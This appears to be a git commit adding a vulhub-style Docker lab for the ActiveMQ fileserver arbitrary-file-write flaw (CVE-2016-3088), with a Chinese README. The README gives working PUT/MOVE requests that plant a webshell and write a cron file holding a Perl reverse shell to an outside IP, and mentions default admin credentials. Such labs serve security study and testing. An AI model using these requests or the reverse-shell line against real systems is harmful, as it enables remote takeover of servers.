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Merge branch 'activemq-cve-2016-3088'
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phith0n committed Jul 4, 2017
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11 changes: 11 additions & 0 deletions activemq/CVE-2016-3088/Dockerfile
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FROM vulhub/activemq:5.11.1

MAINTAINER phithon <[email protected]>

RUN apt-get update \
&& apt-get install -y cron rsyslog --no-install-recommends \
&& rm -r /var/lib/apt/lists/*

COPY entrypoint.sh /usr/local/bin/

CMD ["/bin/sh", "/usr/local/bin/entrypoint.sh"]
128 changes: 128 additions & 0 deletions activemq/CVE-2016-3088/README.md
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# ActiveMQ任意文件写入漏洞(CVE-2016-3088)

## 环境搭建

搭建及运行漏洞环境:

```
docker-compose build
docker-compose up -d
```

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。

访问`http://your-ip:8161/`看到web页面,说明环境已成功运行。

## 背景简述

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

1. 其使用率并不高
2. 文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

## 漏洞详情

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

1. 写入webshell
2. 写入cron或ssh key等文件
3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

分别说一下上述几种利用方法。

### 写入webshell

前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。

默认的ActiveMQ账号密码均为`admin`,首先访问`http://your-ip:8161/admin/test/systemProperties.jsp`,查看ActiveMQ的绝对路径:

![](02.png)

然后上传webshell:

```
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976
webshell...
```

移动到web目录下的api文件夹(`/opt/activemq/webapps/api/s.jsp`)中:

```
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
```

访问webshell(需要登录):

![](03.png)

### 写入crontab,自动化弹shell

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要`\n`,不能是`\r\n`,否则crontab执行会失败):

```
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
```

将其移动到`/etc/cron.d/root`

```
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
```

如果上述两个请求都返回204了,说明写入成功。等待反弹shell:

![](01.png)

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

### 写入jetty.xml或jar

理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。

有的情况下jetty.xml和jar等所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。

尚未测试。
7 changes: 7 additions & 0 deletions activemq/CVE-2016-3088/docker-compose.yml
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version: '2'
services:
activemq:
build: .
ports:
- "61616:61616"
- "8161:8161"
7 changes: 7 additions & 0 deletions activemq/CVE-2016-3088/entrypoint.sh
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#!/bin/sh

cron -L15

rsyslogd

/bin/sh -c "/opt/activemq/bin/activemq console"

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